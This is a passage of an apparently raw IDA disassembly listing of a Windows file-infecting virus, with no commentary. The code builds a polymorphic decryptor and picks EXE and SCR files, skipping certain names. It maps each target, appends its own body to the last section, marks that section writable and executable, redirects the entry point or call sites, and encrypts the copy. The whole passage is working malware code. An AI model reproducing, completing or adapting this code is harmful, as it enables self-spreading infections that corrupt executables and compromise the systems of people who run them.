		or	ah, [ebp+40342Bh]
		shl	ah, 3
		or	ah, [ebp+40342Bh]
		stosw


loc_438E9D:				; CODE XREF: .rsrc:00438E86j
		test	dword ptr [ebp+403431h], 1000h
		mov	ax, 0C081h
		jz	short loc_438EB0
		add	ah, 8


loc_438EB0:				; CODE XREF: .rsrc:00438EABj
		or	ah, [ebp+40342Bh]
		stosw


loc_438EB8:				; CODE XREF: .rsrc:00438E69j
		movzx	eax, byte ptr [ebp+40342Fh]
		stosd


loc_438EC0:				; CODE XREF: .rsrc:00438E52j
		test	dword ptr [ebp+403431h], 40000000h
		jz	short loc_438ED5
		mov	al, 50h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb


loc_438ED5:				; CODE XREF: .rsrc:00438ECAj
		test	dword ptr [ebp+403431h], 2000h
		mov	al, 86h
		jnz	short loc_438EE5
		add	al, 4


loc_438EE5:				; CODE XREF: .rsrc:00438EE1j
		lea	ecx, [edi-2]
		mov	ah, byte ptr ss:loc_403429[ebp]
		mov	dword ptr ss:loc_40398A[ebp], ecx
		stosw
		cmp	ah, 5
		jnz	short loc_438F02
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_438F02:				; CODE XREF: .rsrc:00438EF9j
		test	dword ptr [ebp+403431h], 4000h
		mov	ax, 3166h
		jnz	short loc_438F14
		mov	ah, 29h


loc_438F14:				; CODE XREF: .rsrc:00438F10j
		stosw
		mov	al, 18h
		or	al, [ebp+40342Bh]
		shl	al, 3
		stosb
		mov	al, 88h
		test	dword ptr [ebp+403431h], 8000h
		jnz	short loc_438F32
		mov	al, 86h


loc_438F32:				; CODE XREF: .rsrc:00438F2Ej
		mov	ah, byte ptr ss:loc_403429[ebp]
		stosw
		cmp	ah, 5
		jnz	short loc_438F46
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_438F46:				; CODE XREF: .rsrc:00438F3Dj
		test	dword ptr [ebp+403431h], 10000h
		jnz	short loc_438F5D
		mov	al, 40h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		jmp	short loc_438F6C
; ---------------------------------------------------------------------------


loc_438F5D:				; CODE XREF: .rsrc:00438F50j
		mov	ax, 0C083h
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		mov	al, 1
		stosb


loc_438F6C:				; CODE XREF: .rsrc:00438F5Bj
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_438FA7
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_438F9E
		mov	al, 0C0h
		or	al, [ebp+40342Bh]
		mov	ah, byte ptr ss:loc_403430[ebp]
		shl	eax, 10h
		mov	ax, 8166h
		stosd
		mov	al, 0
		jmp	short loc_438FA6
; ---------------------------------------------------------------------------


loc_438F9E:				; CODE XREF: .rsrc:00438F82j
		mov	al, 40h
		or	al, [ebp+40342Bh]


loc_438FA6:				; CODE XREF: .rsrc:00438F9Cj
		stosb


loc_438FA7:				; CODE XREF: .rsrc:00438F76j
		test	dword ptr [ebp+403431h], 80000h
		jnz	short loc_438FC3
		mov	ax, 0E883h
		or	ah, [ebp+40342Ah]
		stosw
		mov	al, 1
		jmp	short loc_438FCB
; ---------------------------------------------------------------------------


loc_438FC3:				; CODE XREF: .rsrc:00438FB1j
		mov	al, 48h
		or	al, [ebp+40342Ah]


loc_438FCB:				; CODE XREF: .rsrc:00438FC1j
		stosb
		test	dword ptr [ebp+403431h], 100000h
		mov	cl, 75h
		jnz	short loc_438FFF
		mov	ax, 0F883h
		or	ah, [ebp+40342Ah]
		stosw
		xor	eax, eax
		stosb
		sub	dword ptr ss:loc_40398A[ebp], edi
		test	dword ptr [ebp+403431h], 200000h
		jnz	short loc_43901A
		mov	cl, 77h
		jmp	short loc_43901A
; ---------------------------------------------------------------------------


loc_438FFF:				; CODE XREF: .rsrc:00438FD8j
		mov	ax, 1809h
		or	ah, [ebp+40342Ah]
		shl	ah, 3
		or	ah, [ebp+40342Ah]
		stosw
		sub	dword ptr ss:loc_40398A[ebp], edi


loc_43901A:				; CODE XREF: .rsrc:00438FF9j
					; .rsrc:00438FFDj
		mov	al, cl
		mov	ah, byte ptr ss:loc_40398A[ebp]
		stosw
		mov	al, 58h
		add	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr [ebp+403431h], 1000003h
		jz	loc_4390C4
		mov	eax, 268B6467h
		mov	ecx, [ebp+403431h]
		xor	ecx, 2000000h
		test	ecx, 3000000h
		jnz	short loc_43905B
		mov	eax, 2E876467h


loc_43905B:				; CODE XREF: .rsrc:00439054j
		stosd
		mov	eax, 0
		stosw
		jnz	short loc_43906B
		mov	ax, 0E58Bh
		stosw


loc_43906B:				; CODE XREF: .rsrc:00439063j
		mov	eax, 68F6764h
		stosd
		xor	eax, eax
		stosw
		test	dword ptr [ebp+403431h], 1000000h
		jnz	short loc_4390C1
		test	dword ptr [ebp+403431h], 8000000h
		jz	short loc_4390B3
		mov	ax, 6C8Dh
		test	dword ptr [ebp+403431h], 2000000h
		setnz	cl
		or	ah, cl
		stosw
		test	cl, cl
		jnz	short loc_4390AE
		mov	ax, 424h
		stosw
		jmp	short loc_4390C1
; ---------------------------------------------------------------------------


loc_4390AE:				; CODE XREF: .rsrc:004390A4j
		mov	al, 8
		stosb
		jmp	short loc_4390C1
; ---------------------------------------------------------------------------


loc_4390B3:				; CODE XREF: .rsrc:0043908Bj
		mov	ax, 5D58h
		add	al, [ebp+40342Bh]
		stosw
		jmp	short loc_4390C4
; ---------------------------------------------------------------------------


loc_4390C1:				; CODE XREF: .rsrc:0043907Fj
					; .rsrc:004390ACj ...
		mov	al, 0C9h
		stosb


loc_4390C4:				; CODE XREF: .rsrc:00439037j
					; .rsrc:004390BFj
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4390F0
		mov	al, 7
		sub	al, byte ptr ss:loc_403429[ebp]
		shl	eax, 1Ah
		or	eax, 240889h
		add	ah, byte ptr ss:loc_403429[ebp]
		shl	ah, 3
		add	ah, 4
		stosd
		mov	al, 61h
		stosb


loc_4390F0:				; CODE XREF: .rsrc:004390CEj
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]
		stosw
		test	dword ptr [ebp+403431h], 20h
		jz	short loc_43915B
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_439121


loc_439114:				; CODE XREF: .rsrc:0043911Fj
		test	edi, 3
		jz	short loc_439121
		mov	al, 90h
		stosb
		jmp	short loc_439114
; ---------------------------------------------------------------------------


loc_439121:				; CODE XREF: .rsrc:00439112j
					; .rsrc:0043911Aj
		mov	eax, edi
		mov	ecx, [ebp+403982h]
		sub	eax, ecx
		mov	[ecx-4], eax
		mov	al, 58h
		or	al, byte ptr ss:loc_403429[ebp]
		stosb
		test	dword ptr [ebp+403431h], 400000h
		jz	short loc_43914F
		mov	ax, 0C350h
		or	al, byte ptr ss:loc_403429[ebp]
		jmp	short loc_439159
; ---------------------------------------------------------------------------


loc_43914F:				; CODE XREF: .rsrc:00439141j
		mov	ax, 0E0FFh
		or	ah, byte ptr ss:loc_403429[ebp]


loc_439159:				; CODE XREF: .rsrc:0043914Dj
		stosw


loc_43915B:				; CODE XREF: .rsrc:00439106j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_4391DA
		test	dword ptr [ebp+403431h], 20000000h
		jz	short loc_439180


loc_439173:				; CODE XREF: .rsrc:0043917Ej
		test	edi, 3
		jz	short loc_439180
		mov	al, 90h
		stosb
		jmp	short loc_439173
; ---------------------------------------------------------------------------


loc_439180:				; CODE XREF: .rsrc:00439171j
					; .rsrc:00439179j
		mov	ecx, edi
		mov	eax, [ebp+40399Ah]
		sub	ecx, eax
		mov	[eax-4], ecx
		xor	ecx, ecx
		test	dword ptr [ebp+403431h], 800000h
		jnz	short loc_4391A9
		lea	eax, loc_403429[ebp]


loc_4391A1:				; CODE XREF: .rsrc:004391A7j
		mov	cl, [eax]
		inc	eax
		cmp	cl, 3
		jnb	short loc_4391A1


loc_4391A9:				; CODE XREF: .rsrc:00439199j
		lea	eax, ds:102444h[ecx*8]
		shl	eax, 8
		mov	al, 8Bh
		stosd
		jecxz	short loc_4391BE
		mov	ax, 0C031h
		stosw


loc_4391BE:				; CODE XREF: .rsrc:004391B6j
		mov	ax, 808Fh
		push	0B8h
		add	ah, cl
		stosw
		pop	eax
		stosd
		test	ecx, ecx
		jnz	short loc_4391D7
		mov	ax, 0C031h
		stosw


loc_4391D7:				; CODE XREF: .rsrc:004391CFj
		mov	al, 0C3h
		stosb


loc_4391DA:				; CODE XREF: .rsrc:00439165j
		lea	eax, locret_40343C[ebp]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4391F2
		push	edi
		sub	edi, eax
		pop	eax
		jmp	short loc_43920B
; ---------------------------------------------------------------------------


loc_4391F2:				; CODE XREF: .rsrc:004391EAj
		mov	edx, [ebx+28h]
		sub	edi, eax
		sub	edx, eax
		mov	ecx, dword ptr ss:loc_4039A2[ebp]
		add	[ebp+403982h], edx
		add	[ecx], edi
		mov	eax, [esp+4]


loc_43920B:				; CODE XREF: .rsrc:004391F0j
		mov	dword ptr ss:(sub_401068+5)[ebp], edi
		mov	edi, [ebp+403986h]
		sub	eax, [ebp+403982h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43922B
		neg	eax


loc_43922B:				; CODE XREF: .rsrc:00439227j
		stosd
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_43922F	proc near		; CODE XREF: sub_43965B+2A8p
		push	esi
		push	edi
		cmp	dword ptr ss:loc_4039AE[ebp], 0
		jz	loc_439417
		call	near ptr loc_43924F+1
		dec	ebx
		inc	ebp
		push	edx
		dec	esi
		inc	ebp
		dec	esp
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_43924F:				; CODE XREF: sub_43922F+Fp
		add	bh, bh
sub_43922F	endp ; sp-analysis failed

		xchg	eax, ebp
		mov	ds:85890040h, dh
		mov	esi, 53004039h
		mov	ebx, [eax+3Ch]
		add	ebx, eax
		push	dword ptr [ebx+28h]
		mov	eax, [ebx+34h]
		call	sub_438969
		mov	edx, ss:dword_4039A6[ebp]
		pop	ebx
		add	eax, [edx+0Ch]
		mov	[ebp+4039C2h], eax
		add	eax, [edx+8]
		mov	[ebp+4039C6h], eax
		mov	esi, [ebx+28h]
		push	dword ptr [ebx+80h]
		call	sub_438969
		mov	edi, ss:dword_4039A6[ebp]
		push	esi
		call	sub_438969
		mov	edx, ss:dword_4039A6[ebp]
		mov	ecx, [edx+8]
		add	ecx, [edx+0Ch]
		sub	ecx, esi
		sub	ecx, 5
		js	loc_439417
		jz	loc_439417
		add	esi, dword ptr ss:word_4039AA[ebp]
		add	esi, dword ptr ss:loc_403972[ebp]
; START	OF FUNCTION CHUNK FOR sub_4393E8


loc_4392C9:				; CODE XREF: sub_4393E8+29j
		lodsb
		cmp	al, 0E8h
		jnz	loc_439374
		lea	eax, [esi+4]
		sub	eax, dword ptr ss:loc_403972[ebp]
		add	eax, [esi]
		push	eax
		call	sub_438969
		cmp	ss:dword_4039A6[ebp], 0
		jnz	short loc_4392F7
		cmp	eax, [edi+0Ch]
		jnb	loc_439410
		jmp	short loc_439303
; ---------------------------------------------------------------------------


loc_4392F7:				; CODE XREF: sub_4393E8-FEj
		cmp	ss:dword_4039A6[ebp], edx
		jnz	loc_439410


loc_439303:				; CODE XREF: sub_4393E8-F3j
		add	eax, dword ptr ss:loc_403972[ebp]
		cmp	word ptr [eax],	25FFh
		jnz	loc_439410
		mov	eax, [eax+2]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_438969
		cmp	ss:dword_4039A6[ebp], edi
		jnz	loc_439410
		add	eax, dword ptr ss:word_4039AA[ebp]
		add	eax, dword ptr ss:loc_403972[ebp]
		mov	eax, [eax]
		sub	eax, [edi+0Ch]
		jb	loc_439410
		cmp	eax, [edi+8]
		jnb	loc_439410


loc_43934C:				; CODE XREF: sub_4393E8+22j
		add	eax, 2
		add	eax, [edi+14h]
		add	eax, dword ptr ss:loc_403972[ebp]
		push	edx
		push	eax
		push	dword ptr ss:loc_4039BE[ebp]
		call	dword ptr ss:sub_403548[ebp]
		pop	edx
		test	eax, eax
		jnz	loc_439426
		jmp	loc_439410
; ---------------------------------------------------------------------------


loc_439374:				; CODE XREF: sub_4393E8-11Cj
		cmp	al, 0FFh
		jnz	loc_439410
		cmp	byte ptr [esi],	15h
		jnz	loc_439410
		mov	eax, [esi+1]
		sub	eax, [ebx+34h]
		push	eax
		call	sub_438969
		cmp	ss:dword_4039A6[ebp], edi
		jnz	short loc_439410
		add	eax, dword ptr ss:word_4039AA[ebp]
		add	eax, dword ptr ss:loc_403972[ebp]
		mov	dword ptr ss:loc_4039CA[ebp], eax
		mov	eax, [eax]
		cmp	eax, [ebp+4039C2h]
		jb	short loc_4393BD
		cmp	eax, [ebp+4039C6h]
		jb	short loc_439426


loc_4393BD:				; CODE XREF: sub_4393E8-35j
		cmp	eax, 70000000h
		jb	short loc_4393FB
		call	sub_4393E8
		lea	ecx, [esi-4]
		mov	eax, ecx
		sub	eax, [edx]
		add	eax, [edx+10h]
		cmp	eax, dword ptr ss:loc_4039CA[ebp]
		jnz	short locret_4393E7
		add	esp, 10h
		push	dword ptr [ecx]
		pop	[esp-0Ch+arg_24]
		popa
		jmp	short loc_439402
; ---------------------------------------------------------------------------

locret_4393E7:				; CODE XREF: sub_4393E8-Fj
		retn
; END OF FUNCTION CHUNK	FOR sub_4393E8

; =============== S U B	R O U T	I N E =======================================



sub_4393E8	proc near		; CODE XREF: sub_4393E8-24p

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_24		= dword	ptr  28h

; FUNCTION CHUNK AT 004392C9 SIZE 0000011F BYTES

		pop	dword ptr ss:loc_403992[ebp]
		pusha
		mov	esi, dword ptr ss:loc_403972[ebp]
		call	sub_438A70
		popa


loc_4393FB:				; CODE XREF: sub_4393E8-26j
		test	eax, 80000000h
		jnz	short loc_439410


loc_439402:				; CODE XREF: sub_4393E8-3j
		sub	eax, [edi+0Ch]
		jb	short loc_439410
		cmp	eax, [edi+8]
		jb	loc_43934C


loc_439410:				; CODE XREF: sub_4393E8-F9j
					; sub_4393E8-EBj ...
		dec	ecx
		jnz	loc_4392C9


loc_439417:				; CODE XREF: sub_43922F+9j
					; .rsrc:004392B1j ...
		mov	edi, [esp-4+arg_0]
		and	dword ptr [edi+2431h], 7FFFFFFFh
		jmp	short loc_439462
; ---------------------------------------------------------------------------


loc_439426:				; CODE XREF: sub_4393E8-7Fj
					; sub_4393E8-2Dj
		or	dword ptr [edx+24h], 0E0000060h
		dec	esi
		xor	eax, eax
		mov	ecx, [esp+8+var_8]
		xchg	eax, dword ptr ss:loc_4039AE[ebp]
		lea	edi, [ecx+2435h]
		add	eax, dword ptr ss:loc_403972[ebp]
		movsw
		movsd
		dec	esi
		sub	eax, esi
		add	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	byte ptr [esi-5], 0E8h
		mov	dword ptr [ecx+52h], 5
		mov	[esi-4], eax


loc_439462:				; CODE XREF: sub_4393E8+3Cj
		pop	edi
		pop	esi
		retn
sub_4393E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_439465	proc near		; CODE XREF: .rsrc:00439633p
					; sub_43965B+127p
		lea	esi, [ebp+40384Eh]
		push	esi
		call	dword ptr ss:loc_40357C[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	locret_439536
		mov	dword ptr ss:loc_403952[ebp], eax
		push	0
		push	esi
		call	dword ptr ss:sub_4035B4[ebp]
		test	eax, eax
		jz	locret_439536
		sub	eax, eax
		push	eax
		push	eax
		push	3
		push	eax
		push	1
		push	0C0000000h
		push	esi
		call	dword ptr [ebp+40355Ch]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4399EE
		mov	dword ptr ss:loc_403956[ebp], eax
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	eax
		call	dword ptr ss:sub_403584[ebp]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4399E2
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+403580h]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4399E2
		mov	[ebp+40396Ah], eax
		xor	ecx, ecx
		add	eax, ebx
		push	ecx
		push	eax
		push	ecx
		push	4
		push	ecx
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr ss:sub_403560[ebp]
		test	eax, eax
		jz	loc_4399E2
		xor	ecx, ecx
		mov	[ebp+40396Eh], eax
		push	ecx
		push	ecx
		push	ecx
		push	0F001Fh
		push	eax
		call	dword ptr ss:loc_4035A0[ebp]
		test	eax, eax
		jz	loc_4399BA
		mov	dword ptr ss:loc_403972[ebp], eax

locret_439536:				; CODE XREF: sub_439465+10j
					; sub_439465+27j ...
		retn
sub_439465	endp


; =============== S U B	R O U T	I N E =======================================



sub_439537	proc near		; CODE XREF: sub_43965B+117p
					; sub_43965B+223p
		mov	eax, 69CDh
		mov	ecx, [ebx+38h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_439551
		add	eax, [ebp+40106Dh]


loc_439551:				; CODE XREF: sub_439537+12j
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	dword ptr ss:loc_40397A[ebp], eax
		mov	eax, 243Bh
		mov	ecx, [ebx+3Ch]
		add	eax, [ebp+40106Dh]
		xor	edx, edx
		add	eax, ecx
		div	ecx
		mul	ecx
		mov	[ebp+403976h], eax
		retn
sub_439537	endp


; =============== S U B	R O U T	I N E =======================================



sub_43957C	proc near		; CODE XREF: sub_43965B:loc_4396AAp
					; sub_43965B+13Dp
		movzx	ecx, word ptr [ebx+6]
		stc


loc_439581:				; CODE XREF: sub_43957C+23j
		jecxz	short locret_4395B8
		lea	edx, [ebx+18h]
		movzx	eax, word ptr [ebx+14h]
		add	edx, eax
		dec	ecx
		imul	eax, ecx, 28h
		add	edx, eax
		cmp	dword ptr [edx], 6E69775Fh
		stc
		jz	short locret_4395B8
		cmp	dword ptr [edx+0Ch], 1
		jb	short loc_439581
		mov	ecx, [ebx+3Ch]
		mov	eax, [edx+14h]
		add	eax, [edx+10h]
		lea	eax, [eax+ecx*2-1]
		neg	ecx
		and	eax, ecx
		cmp	eax, [ebp+40396Ah]

locret_4395B8:				; CODE XREF: sub_43957C:loc_439581j
					; sub_43957C+1Dj ...
		retn
sub_43957C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4395B9	proc near		; CODE XREF: .rsrc:00439645p

arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_C]
		xor	eax, eax
		pop	dword ptr [edx+0B8h]
		retn
sub_4395B9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4395C6:				; CODE XREF: .rsrc:004395E7j
		mov	ecx, edi
		jmp	short loc_4395D5
; ---------------------------------------------------------------------------
		lea	edi, [ebp+40384Eh]
		cld


loc_4395D1:				; CODE XREF: .rsrc:004395E3j
		mov	ebx, edi
		xor	ecx, ecx


loc_4395D5:				; CODE XREF: .rsrc:004395C8j
					; .rsrc:004395EBj
		lodsb
		cmp	al, 61h
		jb	short loc_4395E0
		cmp	al, 7Ah
		ja	short loc_4395E0
		sub	al, 20h


loc_4395E0:				; CODE XREF: .rsrc:004395D8j
					; .rsrc:004395DCj
		stosb
		cmp	al, 5Ch
		jz	short loc_4395D1
		cmp	al, 2Eh
		jz	short loc_4395C6
		cmp	al, 0
		jnz	short loc_4395D5
		jecxz	short locret_4395B8
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_439603
		cmp	eax, 524353h
		jnz	locret_439536


loc_439603:				; CODE XREF: .rsrc:004395F6j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_439536
		cmp	eax, 4E554357h
		jz	locret_439536
		cmp	eax, 32334357h
		jz	locret_439536
		cmp	eax, 4F545350h
		jz	locret_439536
		xor	ebx, ebx
		call	sub_439465
		jz	locret_439536
		xor	edx, edx
		call	sub_43965B
		call	sub_4395B9
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_439998

; =============== S U B	R O U T	I N E =======================================



sub_43965B	proc near		; CODE XREF: .rsrc:00439640p

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_439998
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_439998
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_439998
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_439998
		jecxz	short loc_4396AA
		cmp	ecx, 101h
		jbe	loc_439998


loc_4396AA:				; CODE XREF: sub_43965B+41j
		call	sub_43957C
		jb	loc_439998
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_4381B4
		xor	[ebp+40342Fh], dl
		mov	cl, 20h
		xor	byte ptr ss:loc_403430[ebp], dh


loc_4396D4:				; CODE XREF: sub_43965B+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_4396EF
		call	sub_4381B4
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	[ebp+403431h], edx
		jmp	short loc_4396D4
; ---------------------------------------------------------------------------


loc_4396EF:				; CODE XREF: sub_43965B+7Ej
					; sub_43965B+CDj ...
		push	6
		pop	ecx


loc_4396F5:				; CODE XREF: sub_43965B+B8j
		push	6
		pop	eax
		call	sub_4381B4
		mov	al, byte ptr ss:loc_403429[ebp]
		xchg	al, byte ptr loc_403429[edx+ebp]
		mov	byte ptr ss:loc_403429[ebp], al
		loop	loc_4396F5
		test	dword ptr [ebp+403431h], 8
		jnz	short loc_43972A
		cmp	byte ptr [ebp+40342Bh],	1
		jz	short loc_4396EF


loc_43972A:				; CODE XREF: sub_43965B+C4j
		test	dword ptr [ebp+403431h], 1000003h
		jz	short loc_439751
		cmp	byte ptr ss:loc_403429[ebp], 5
		jz	short loc_4396EF
		cmp	byte ptr [ebp+40342Ah],	5
		jz	short loc_4396EF
		cmp	byte ptr [ebp+40342Bh],	5
		jz	short loc_4396EF


loc_439751:				; CODE XREF: sub_43965B+D9j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_439766
		cmp	byte ptr ss:loc_403429[ebp], 2
		ja	short loc_4396EF


loc_439766:				; CODE XREF: sub_43965B+100j
		and	dword ptr ss:loc_4039AE[ebp], 0
		call	loc_438C01
		call	sub_439537
		call	sub_4399A1
		mov	ebx, [ebp+403976h]
		call	sub_439465
		jz	loc_439998
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_43957C
		jb	loc_439998
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		jnz	short loc_4397CE
		lea	esi, locret_40343C[ebp]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_4397CE:				; CODE XREF: sub_43965B+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, sub_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_4397E2
		rep movsb


loc_4397E2:				; CODE XREF: sub_43965B+183j
		test	dword ptr [ebp+403431h], 10000000h
		jz	loc_43989A
		push	dword ptr [ebx+28h]
		call	sub_438969
		mov	edx, ss:dword_4039A6[ebp]
		test	edx, edx
		jz	loc_43989A
		mov	esi, dword ptr ss:loc_403972[ebp]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_43981F
		xor	ecx, ecx


loc_43981F:				; CODE XREF: sub_43965B+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_439886
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+403986h]
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43985F
		neg	dword ptr [eax]


loc_43985F:				; CODE XREF: sub_43965B+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	dword ptr ss:loc_4039AE[ebp], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	dword ptr [ebp+403431h], 40h
		jz	short loc_43987D
		neg	dword ptr [eax]


loc_43987D:				; CODE XREF: sub_43965B+21Ej
		push	ecx
		call	sub_439537
		pop	ecx
		jmp	short loc_439892
; ---------------------------------------------------------------------------


loc_439886:				; CODE XREF: sub_43965B+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_439892:				; CODE XREF: sub_43965B+229j
		lea	esi, locret_40343C[ebp]
		rep movsb


loc_43989A:				; CODE XREF: sub_43965B+191j
					; sub_43965B+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, [ebp+40342Fh]
		jnz	short loc_4398B3
		imul	edx, 12345678h


loc_4398B3:				; CODE XREF: sub_43965B+250j
		mov	[eax-1], dl
		call	sub_437887
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	dword ptr [ebp+403431h], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_4398E4
		mov	dword ptr ss:loc_4039AE[ebp], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_4398E4:				; CODE XREF: sub_43965B+274j
		sub	eax, [ebx+28h]
		push	dword ptr ss:loc_40397E[ebp]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_439909
		push	edx
		call	sub_43922F
		pop	edx


loc_439909:				; CODE XREF: sub_43965B+2A5j
		mov	ecx, dword ptr ss:loc_4039AE[ebp]
		jecxz	short loc_439914
		mov	[ebx+28h], ecx


loc_439914:				; CODE XREF: sub_43965B+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_439925
		mov	[edx+8], ecx


loc_439925:				; CODE XREF: sub_43965B+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, dword ptr ss:loc_40397A[ebp]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, [ebp+40342Fh]
		test	dword ptr [ebp+403431h], 10000000h
		jz	short loc_439956
		add	ecx, [ebp+40106Dh]


loc_439956:				; CODE XREF: sub_43965B+2F3j
		mov	dh, 0
		test	dword ptr [ebp+403431h], 20000h
		jnz	short loc_439978
		inc	dh
		test	dword ptr [ebp+403431h], 40000h
		jnz	short loc_439978
		mov	dh, byte ptr ss:loc_403430[ebp]


loc_439978:				; CODE XREF: sub_43965B+307j
					; sub_43965B+315j
		test	dword ptr [ebp+403431h], 4000h
		jnz	short loc_43998F


loc_439984:				; CODE XREF: sub_43965B+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_439984
		jmp	short loc_439998
; ---------------------------------------------------------------------------


loc_43998F:				; CODE XREF: sub_43965B+327j
					; sub_43965B+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_43998F


loc_439998:				; CODE XREF: .rsrc:00439656j
					; sub_43965B+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_43965B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4399A1	proc near		; CODE XREF: sub_43965B+11Cp
		cmp	dword ptr ss:loc_403956[ebp], 0
		jz	locret_439536
		push	dword ptr ss:loc_403972[ebp]
		call	dword ptr [ebp+4035C4h]


loc_4399BA:				; CODE XREF: sub_439465+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, [ebp+40395Ah]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr ss:loc_4035B8[ebp]


loc_4399E2:				; CODE XREF: sub_439465+6Bj
					; sub_439465+82j ...
		push	dword ptr ss:loc_403956[ebp]
		call	dword ptr [ebp+40353Ch]


loc_4399EE:				; CODE XREF: sub_439465+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr ss:loc_403952[ebp]
		push	esi
		call	dword ptr ss:sub_4035B4[ebp]
		and	dword ptr ss:loc_403956[ebp], 0
		retn
sub_4399A1	endp

; ---------------------------------------------------------------------------
		db 0E8h, 2 dup(0)
		dd 6A5D0000h, 49ED8101h, 58004033h, 85C10FF0h, 401580h
		dd 83C3C085h, 0FF0FFC8h, 158085C1h, 3DC30040h, 2A0010h
		dd 81661C75h, 6C0C247Ch, 60137571h, 0FFFFC4E8h,	0E80575FFh
		dd 0FFFFFB7Eh, 0FFFFD2E8h, 0FF2E61FFh, 3456782Dh, 25B812h
		dd 0E8600000h, 0FFFFFFA5h, 448B3975h, 0B58D3024h, 40384Eh
		dd 6608508Bh, 2063A81h,	68562573h, 0FF0000h, 6AC48Bh, 95FF5052h
		dd 4035F8h, 8108C483h, 3F3F5C3Eh, 8303755Ch, 2BE804C6h
